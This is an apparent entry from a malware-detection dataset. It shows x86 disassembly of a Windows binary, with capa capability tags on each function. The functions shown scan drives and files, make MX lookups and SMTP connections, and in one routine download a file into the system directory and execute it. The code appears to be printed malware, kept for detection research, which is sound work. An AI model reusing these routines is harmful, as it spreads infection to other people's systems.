joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403f10
Capabilities:
Query or enumerate registry value
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp - 0x25c]
push edi
push esi
mov esi, 0x320
push ebx
sub esp, 0x28c
lea ebx, [ebp - 0x128]
mov dword [ebp - 0x260], esi
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], 0x403ee0
mov dword [esp], 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
lea eax, [ebp - 0x260]
mov dword [esp + 0x14], eax
mov eax, dword [ebp - 0x25c]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x403f0a
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegQueryValueExA
mov eax, dword [ebp - 0x25c]
sub esp, 0x18
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [ebp - 0x264], eax
sub esp, 0x1c
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.DLL_CreateFileMappingA]
mov dword [ebp - 0x268], eax
sub esp, 0x18
test eax, eax
je 0x40413b
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0x268]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.DLL_MapViewOfFile]
sub esp, 0x14
mov esi, eax
test eax, eax
je 0x404129
movsx ecx, byte [eax + 0x64]
xor ebx, ebx
movzx eax, byte [eax + 0x61]
movzx edi, byte [esi + 0x60]
movzx edx, byte [esi + 0x63]
shl eax, 8
or edi, eax
movzx eax, byte [esi + 0x62]
shl edx, 8
or eax, edx
shl eax, 0x10
or edi, eax
mov eax, ecx
shl eax, 4
add eax, ecx
shl eax, 2
cmp ebx, eax
jge 0x4040ef
lea edi, [edi + esi]
mov dword [ebp - 0x26c], edi
mov edi, eax
mov eax, dword [ebp - 0x26c]
xor ecx, ecx
add eax, ebx
lea edx, [eax]
jmp 0x4040c0
movzx eax, byte [edx]
add edx, 2
mov byte [ebp + ecx - 0x258], al
inc ecx
cmp ecx, 0x44
jle 0x4040c0
mov byte [ebp - 0x214], 0
lea eax, [ebp - 0x258]
add ebx, 0x44
mov dword [esp], eax
call fcn.00403bf0
cmp ebx, edi
jl 0x4040a4
mov eax, dword [ebp - 0x264]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
sub esp, 4
mov dword [esp], esi
call dword [sym.imp.KERNEL32.DLL_UnmapViewOfFile]
mov eax, dword [ebp - 0x268]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
sub esp, 4
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [ebp - 0x268]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
sub esp, 4
mov eax, dword [ebp - 0x264]
jmp 0x404113
Function at 0x404e80
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x27c
mov eax, dword [ebp + 0xc]
test eax, eax
jle 0x404ea2
mov edi, dword [ebp + 8]
test edi, edi
je 0x404ea2
mov eax, dword [ebp + 8]
cmp byte [eax], 0
jne 0x404eaf
mov eax, 1
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [ebp + 8]
lea ebx, [ebp - 0x138]
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_strcpy
mov ecx, ebx
mov eax, dword [ecx]
add ecx, 4
lea edx, [eax - 0x1010101]
not eax
and edx, eax
and edx, 0x80808080
je 0x404ec6
test edx, 0x8080
jne 0x404eeb
shr edx, 0x10
add ecx, 2
add dl, dl
sbb ecx, 3
sub ecx, ebx
cmp byte [ebp + ecx - 0x139], 0x5c
je 0x404f0c
mov dword [esp + 4], 0x404e7a
mov dword [esp], ebx
call sub.msvcrt.dll_strcat
mov dword [esp + 4], 0x404e7c
lea esi, [ebp - 0x278]
mov edi, esi
mov dword [esp], ebx
call sub.msvcrt.dll_strcat
cld
mov ecx, 0x50
xor eax, eax
rep stosd dword es:[edi], eax
xor edi, edi
test edi, edi
je 0x40504f
mov dword [esp + 4], esi
mov dword [esp], edi
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
sub esp, 8
test eax, eax
je 0x405038
cmp byte [ebp - 0x24c], 0x2e
je 0x40500f
mov dword [esp], ebx
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov ecx, ebx
sub esp, 8
lea esi, [esi]
lea edi, [edi]
mov eax, dword [ecx]
add ecx, 4
lea edx, [eax - 0x1010101]
not eax
and edx, eax
and edx, 0x80808080
je 0x404f80
test edx, 0x8080
jne 0x404fa5
shr edx, 0x10
add ecx, 2
add dl, dl
sbb ecx, 3
sub ecx, ebx
cmp byte [ebp + ecx - 0x139], 0x5c
je 0x404fc6
mov dword [esp + 4], 0x404e7a
mov dword [esp], ebx
call sub.msvcrt.dll_strcat
mov dword [esp], ebx
lea eax, [ebp - 0x24c]
mov dword [esp + 4], eax
call sub.msvcrt.dll_strcat
test byte [ebp - 0x278], 0x10
je 0x404ffe
mov dword [esp], ebx
mov eax, dword [ebp + 0xc]
dec eax
mov dword [esp + 4], eax
call fcn.00404e80
mov dword [esp], ebx
call fcn.00404c30
jmp 0x404f30
mov dword [esp + 4], esi
mov dword [esp], ebx
call fcn.00404cc0
jmp 0x404f30
movzx eax, byte [ebp - 0x24b]
test al, al
je 0x404f30
cmp al, 0x2e
jne 0x404f5d
cmp byte [ebp - 0x24a], 0
je 0x404f30
jmp 0x404f5d
test edi, edi
je 0x405048
mov dword [esp], edi
call dword [sym.imp.KERNEL32.DLL_FindClose]
sub esp, 4
xor eax, eax
jmp 0x404ea7
mov dword [esp + 4], esi
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
mov edi, eax
sub esp, 8
xor eax, eax
cmp edi, 0xffffffff
sete al
dec eax
and edi, eax
jne 0x404f50
jmp 0x405048
Function at 0x405130
Capabilities:
Get disk information

Disassembly:
push ebp
xor eax, eax
mov ebp, esp
push edi
mov ecx, 0x41
push esi
lea esi, [ebp - 0x128]
mov edi, esi
push ebx
sub esp, 0x12c
cld
rep stosd dword es:[edi], eax
movzx ebx, byte [ebp - 0x128]
mov eax, 0x5c3a
mov word [ebp - 0x127], ax
mov byte [ebp - 0x125], 0
mov byte [ebp - 0x128], 0x43
nop
movzx eax, byte [ebp - 0x128]
cmp al, bl
jne 0x4050e0
inc al
cmp al, 0x58
mov byte [ebp - 0x128], al
jle 0x4050c0
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], esi
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
sub esp, 4
cmp eax, 3
je 0x405100
cmp eax, 6
je 0x405100
movzx eax, byte [ebp - 0x128]
jmp 0x4050cb
mov dword [esp], 0xbb8
call dword [sym.imp.KERNEL32.DLL_Sleep]
sub esp, 4
mov dword [esp + 4], 0xf
mov dword [esp], esi
call fcn.00404e80
jmp 0x4050f6
push ebp
mov ebp, esp
sub esp, 8
call fcn.00403f10
mov esp, ebp
pop ebp
jmp 0x405080
Function at 0x407078
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.WS2_32.DLL_gethostbyname
sub esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4070a4
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 8], eax
jmp 0x4070ab
mov dword [ebp - 8], 0
mov eax, dword [ebp - 8]
leave
ret
Function at 0x4079b2
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [esp], 0x4413f0
call sub.msvcrt.dll_strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4413f0
mov eax, dword [0x440130]
mov dword [esp], eax
call sub.WS2_32.DLL_send
sub esp, 0x10
mov dword [esp], eax
call fcn.0040798a
test eax, eax
jne 0x4079fe
mov dword [0x4402e0], 1
leave
ret

Function at 0x407a00
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0x4402f0
mov eax, dword [0x440130]
mov dword [esp], eax
call sub.WS2_32.DLL_recv
sub esp, 0x10
mov dword [esp], eax
call fcn.0040798a
test eax, eax
jne 0x407a44
mov dword [0x4402e0], 2
cmp byte [0x4402f0], 0x34
je 0x407a58
cmp byte [0x4402f0], 0x35
je 0x407a58
jmp 0x407a62
mov dword [0x4402e0], 2
leave
ret
Function at 0x408b06
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.WS2_32.DLL_inet_addr
sub esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x408b33
cmp dword [ebp - 4], 0
jne 0x408b57
mov eax, dword [ebp + 8]
cmp byte [eax], 0x30
jne 0x408b33
jmp 0x408b57
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.WS2_32.DLL_gethostbyname
sub esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x408b57
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x408b64
mov dword [ebp - 4], 0
mov eax, dword [ebp - 4]
leave
ret

Function at 0x408b80
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
mov eax, dword [0x408b69]
mov dword [ebp - 0x38], eax
mov eax, dword [0x408b6d]
mov dword [ebp - 0x34], eax
movzx eax, word [0x408b71]
mov word [ebp - 0x30], ax
movzx eax, byte [0x408b73]
mov byte [ebp - 0x2e], al
lea eax, [ebp - 0x38]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x408be9
lea eax, [ebp - 0x38]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x408be9
mov dword [ebp - 0x4c], 0
jmp 0x408d09
mov dword [esp + 4], 0x408b74
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x408c16
mov dword [ebp - 0x4c], 0
jmp 0x408d09
mov dword [esp + 0x14], 0
lea eax, [ebp - 0x14]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0xf
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [ebp - 0x10]
call eax
sub esp, 0x18
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x408c60
mov dword [ebp - 0x4c], 0
jmp 0x408d09
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
call sub.WS2_32.DLL_socket
sub esp, 0xc
mov dword [0x440130], eax
cmp dword [0x440130], 0xffffffff
jne 0x408c9c
mov dword [ebp - 0x4c], 0
jmp 0x408d09
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call fcn.00408b06
mov dword [ebp - 0x44], eax
mov word [ebp - 0x48], 2
mov dword [esp], 0x19
call sub.WS2_32.DLL_htons
sub esp, 4
mov word [ebp - 0x46], ax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x48]
mov dword [esp + 4], eax
mov eax, dword [0x440130]
mov dword [esp], eax
call sub.WS2_32.DLL_connect
sub esp, 0xc
test eax, eax
je 0x408cf2
mov dword [ebp - 0x4c], 0
jmp 0x408d09
call fcn.00407a00
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.004082ba
mov dword [ebp - 0x4c], 0
mov eax, dword [ebp - 0x4c]
leave
ret
Function at 0x408d0e
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Get networking parameters

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov dword [ebp - 0xc], 0
mov dword [esp + 4], 0x248
mov dword [esp], 0x40
mov eax, dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
call eax
sub esp, 8
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], 0x248
lea eax, [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.IPHLPAPI.DLL_GetNetworkParams
sub esp, 8
cmp eax, 0x6f
jne 0x408d83
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_GlobalFree]
call eax
sub esp, 4
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov dword [esp], 0x40
mov eax, dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
call eax
sub esp, 8
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.IPHLPAPI.DLL_GetNetworkParams
sub esp, 8
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0xc], 0xbb8
mov eax, dword [ebp - 0x14]
add eax, 0x110
mov dword [esp], eax
call fcn.00408b06
mov dword [ebp - 0x10], eax
mov dword [esp], 0x407ffd
call sub.msvcrt.dll_printf
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00407200
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
cmp dword [ebp - 0x28], 0
jne 0x408df2
mov dword [ebp - 0x3c], 1
jmp 0x408ea2
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
call sub.WS2_32.DLL_socket
sub esp, 0xc
mov dword [0x440130], eax
cmp dword [0x440130], 0xffffffff
jne 0x408e28
mov dword [ebp - 0x3c], 0
jmp 0x408ea2
mov eax, dword [ebp - 0x24]
add eax, 0x10e
mov dword [esp], eax
call fcn.00408b06
mov dword [ebp - 0x34], eax
mov word [ebp - 0x38], 2
mov dword [esp], 0x19
call sub.WS2_32.DLL_htons
sub esp, 4
mov word [ebp - 0x36], ax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x38]
mov dword [esp + 4], eax
mov eax, dword [0x440130]
mov dword [esp], eax
call sub.WS2_32.DLL_connect
sub esp, 0xc
test eax, eax
je 0x408e80
mov dword [ebp - 0x3c], 0
jmp 0x408ea2
call fcn.00407a00
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.004082ba
lea eax, [ebp - 0x28]
mov dword [esp], eax
call fcn.00407946
mov dword [ebp - 0x3c], 0
mov eax, dword [ebp - 0x3c]
leave
ret
Function at 0x408ea8
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2b8
lea eax, [ebp - 0x248]
mov dword [esp + 4], eax
mov dword [esp], 2
call sub.WS2_32.DLL_WSAStartup
sub esp, 8
mov eax, dword [ebp + 8]
mov dword [ebp - 0x29c], eax
mov eax, dword [ebp - 0x29c]
cmp byte [eax], 0
je 0x408ef5
mov eax, dword [ebp - 0x29c]
cmp byte [eax], 0x40
jne 0x408eeb
jmp 0x408ef5
lea eax, [ebp - 0x29c]
inc dword [eax]
jmp 0x408ed3
mov eax, dword [ebp - 0x29c]
mov edx, eax
lea eax, [ebp - 0x29c]
inc dword [eax]
cmp byte [edx], 0x40
je 0x408f19
mov dword [ebp - 0x2a0], 0
jmp 0x408fd3
mov dword [esp + 8], 0x4f
mov eax, dword [ebp - 0x29c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x298]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_lstrcpynA]
call eax
sub esp, 0xc
mov dword [ebp - 0xa8], 0x94
lea eax, [ebp - 0xa8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_GetVersionExA]
call eax
sub esp, 4
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0
jne 0x408f76
mov dword [ebp - 0x2a0], 0x25e
jmp 0x408fd3
cmp dword [ebp - 0x98], 2
je 0x408f94
cmp dword [ebp - 0x98], 1
je 0x408f94
mov dword [ebp - 0x2a0], 0x25f
jmp 0x408fd3
cmp dword [ebp - 0x98], 2
jne 0x408fb4
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x298]
mov dword [esp], eax
call fcn.00408b80
jmp 0x408fc9
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x298]
mov dword [esp], eax
call fcn.00408d0e
mov dword [ebp - 0x2a0], 0
mov eax, dword [ebp - 0x2a0]
leave
ret
Function at 0x409000
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push edi
xor edi, edi
push esi
push ebx
sub esp, 0x40c
mov ebx, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
lea esi, [esi]
lea edi, [edi]
mov edx, edi
mov ecx, 8
mov esi, esi
lea edi, [edi]
mov eax, edx
and eax, 1
test al, al
je 0x409156
shr edx, 1
xor edx, 0xedb88320
dec ecx
test ecx, ecx
jg 0x409030
mov dword [ebp + edi*4 - 0x418], edx
inc edi
cmp edi, 0xff
jle 0x409020
xor eax, eax
test esi, esi
je 0x40914b
cmp dword [ebp + 0x10], 7
not ebx
jle 0x409126
movzx eax, byte [esi]
inc esi
xor al, bl
movzx eax, al
shr ebx, 8
mov edx, dword [ebp + eax*4 - 0x418]
movzx eax, byte [esi]
inc esi
xor ebx, edx
xor al, bl
movzx eax, al
shr ebx, 8
mov edi, dword [ebp + eax*4 - 0x418]
movzx eax, byte [esi]
inc esi
xor ebx, edi
xor al, bl
movzx eax, al
shr ebx, 8
mov ecx, dword [ebp + eax*4 - 0x418]
movzx eax, byte [esi]
inc esi
xor ebx, ecx
xor al, bl
movzx eax, al
shr ebx, 8
mov edx, dword [ebp + eax*4 - 0x418]
movzx eax, byte [esi]
inc esi
xor ebx, edx
xor al, bl
movzx eax, al
shr ebx, 8
mov edi, dword [ebp + eax*4 - 0x418]
movzx eax, byte [esi]
inc esi
xor ebx, edi
xor al, bl
movzx eax, al
shr ebx, 8
mov ecx, dword [ebp + eax*4 - 0x418]
movzx eax, byte [esi]
inc esi
xor ebx, ecx
xor al, bl
movzx eax, al
shr ebx, 8
mov edx, dword [ebp + eax*4 - 0x418]
movzx eax, byte [esi]
inc esi
xor ebx, edx
sub dword [ebp + 0x10], 8
xor al, bl
movzx eax, al
mov edi, dword [ebp + eax*4 - 0x418]
shr ebx, 8
xor ebx, edi
cmp dword [ebp + 0x10], 7
jg 0x409070
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x409147
movzx eax, byte [esi]
inc esi
xor al, bl
movzx eax, al
shr ebx, 8
mov edx, dword [ebp + eax*4 - 0x418]
xor ebx, edx
dec dword [ebp + 0x10]
jne 0x40912d
mov eax, ebx
not eax
add esp, 0x40c
pop ebx
pop esi
pop edi
pop ebp
ret
shr edx, 1
jmp 0x409045

Function at 0x409200
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
lea esi, [ebp - 0x418]
push ebx
sub esp, 0x43c
xor ebx, ebx
mov dword [esp + 0xc], 0
mov edi, dword [ebp + 8]
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], edi
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
sub esp, 0x10
nop
lea esi, [esi]
mov dword [esp + 0x10], 0
xor ecx, ecx
lea eax, [ebp - 0x41c]
mov dword [ebp - 0x41c], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x400
mov dword [esp + 4], esi
mov dword [esp], edi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
sub esp, 0x14
test eax, eax
je 0x409294
mov eax, dword [ebp - 0x41c]
test eax, eax
je 0x409294
mov dword [esp], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], esi
call fcn.00409000
mov ebx, eax
jmp 0x409240
mov dword [esp], edi
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
mov eax, ebx
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4097f0
Capabilities:
Create process on windows
Download and write a file
Get common file path
Receive and write data from server to client
Receive data
Receive data on socket
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x77c
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov dword [esp], eax
call sub.msvcrt.dll_srand
call sub.msvcrt.dll_rand
mov ecx, 0x66666667
mov ebx, eax
imul ecx
mov ecx, ebx
sar ecx, 0x1f
sar edx, 2
sub edx, ecx
lea edx, [edx + edx*4]
add edx, edx
sub ebx, edx
lea esi, [ebx + 3]
xor ebx, ebx
test esi, esi
jg 0x4099d0
movzx eax, word [0x4096e0]
lea edi, [ebp - 0x128]
mov dword [esp + 8], 0x101
mov dword [esp + 4], 0
mov word [ebp - 0x748], ax
movzx eax, byte [0x4096e2]
mov byte [ebp - 0x746], al
lea eax, [ebp - 0x745]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [esp + 4], 0x104
mov dword [esp], edi
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea eax, [ebp - 0x748]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], edi
call sub.msvcrt.dll_strcat
mov dword [esp], edi
lea eax, [ebp - 0x638]
mov dword [esp + 4], eax
call sub.msvcrt.dll_strcat
mov dword [esp + 4], 0x4097e4
mov dword [esp], edi
call sub.msvcrt.dll_strcat
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 2
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x40000000
mov dword [esp], edi
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
sub esp, 0x1c
mov ebx, eax
test eax, eax
je 0x4099c5
cmp eax, 0xffffffff
je 0x4099c5
lea esi, [ebp - 0x528]
lea esi, [esi]
lea edi, [edi]
mov dword [esp + 0xc], 0
mov edx, dword [ebp + 8]
mov dword [esp + 8], 0x400
mov dword [esp + 4], esi
mov dword [esp], edx
call sub.WS2_32.DLL_recv
sub esp, 0x10
mov edx, eax
test eax, eax
jle 0x409970
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x74c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], edx
mov dword [esp + 4], esi
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
sub esp, 0x14
jmp 0x409920
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
sub esp, 4
mov dword [esp + 0x14], 5
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], edi
mov dword [esp + 4], 0x4097e9
mov dword [esp], 0
call sub.SHELL32.DLL_ShellExecuteA
mov eax, dword [ebp + 8]
sub esp, 0x18
mov dword [esp], eax
call sub.WS2_32.DLL_closesocket
sub esp, 4
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov edx, dword [ebp + 8]
mov dword [esp], edx
jmp 0x4099b5
call sub.msvcrt.dll_rand
mov ecx, 0x4ec4ec4f
mov edi, eax
imul ecx
mov dword [ebp - 0x75c], edx
mov ecx, dword [ebp - 0x75c]
mov dword [ebp - 0x760], eax
mov eax, edi
cdq
sar ecx, 3
sub ecx, edx
lea edx, [ecx + ecx*2]
lea edx, [ecx + edx*4]
add edx, edx
sub edi, edx
mov eax, edi
add al, 0x61
mov byte [ebp + ebx - 0x638], al
inc ebx
cmp ebx, esi
jl 0x4099d0
jmp 0x409836
Function at 0x410c40
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov dword [esp + 4], 1
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_fread
mov esp, ebp
pop ebp
ret

Function at 0x410c70
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov dword [esp + 4], 1
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_fwrite
mov esp, ebp
pop ebp
ret

Function at 0x4151b0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov eax, 0x10
mov ebp, esp
push ebx
sub esp, 0x64
and esp, 0xfffffff0
call fcn.00416280
call fcn.00415410
call sub.KERNEL32.DLL_GetCommandLineA
mov ebx, eax
lea eax, [ebp - 0x58]
mov dword [esp], eax
call sub.KERNEL32.DLL_GetStartupInfoA
sub esp, 4
test ebx, ebx
jne 0x4151e8
jmp 0x415286
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
or eax, edx
test al, 1
jne 0x4151e7
cmp cl, 0x22
je 0x415240
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
je 0x415260
lea esi, [esi]
lea edi, [edi]
test cl, cl
je 0x415260
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
jne 0x415220
jmp 0x415260
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x22
setne al
xor edx, edx
test cl, cl
setne dl
test eax, edx
jne 0x415240
cmp cl, 0x22
je 0x4152c2
lea esi, [esi]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
jmp 0x415280
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete dl
cmp cl, 9
sete al
or eax, edx
test al, 1
jne 0x415270
mov dword [esp], 0
call sub.KERNEL32.DLL_GetModuleHandleA
sub esp, 4
test byte [ebp - 0x2c], 1
mov edx, 0xa
je 0x4152a4
movzx edx, word [ebp - 0x28]
mov dword [esp + 8], ebx
xor ebx, ebx
mov dword [esp + 4], ebx
mov dword [esp + 0xc], edx
mov dword [esp], eax
call fcn.004038f8
sub esp, 0x10
mov ebx, dword [ebp - 4]
leave
ret
inc ebx
movzx ecx, byte [ebx]
jmp 0x415260

Function at 0x4157b0
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], ebx
mov ebx, dword [0x446580]
call sub.KERNEL32.DLL_TlsAlloc
cmp eax, 0xffffffff
je 0x4157f1
mov dword [ebx + 0x28], eax
mov dword [esp + 4], 0x4157a0
mov eax, dword [ebx + 0x28]
mov dword [esp], eax
call fcn.00415310
test eax, eax
sete al
movzx eax, al
mov dword [ebx + 0x2c], eax
mov ebx, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
call fcn.004198c0
jmp 0x4157df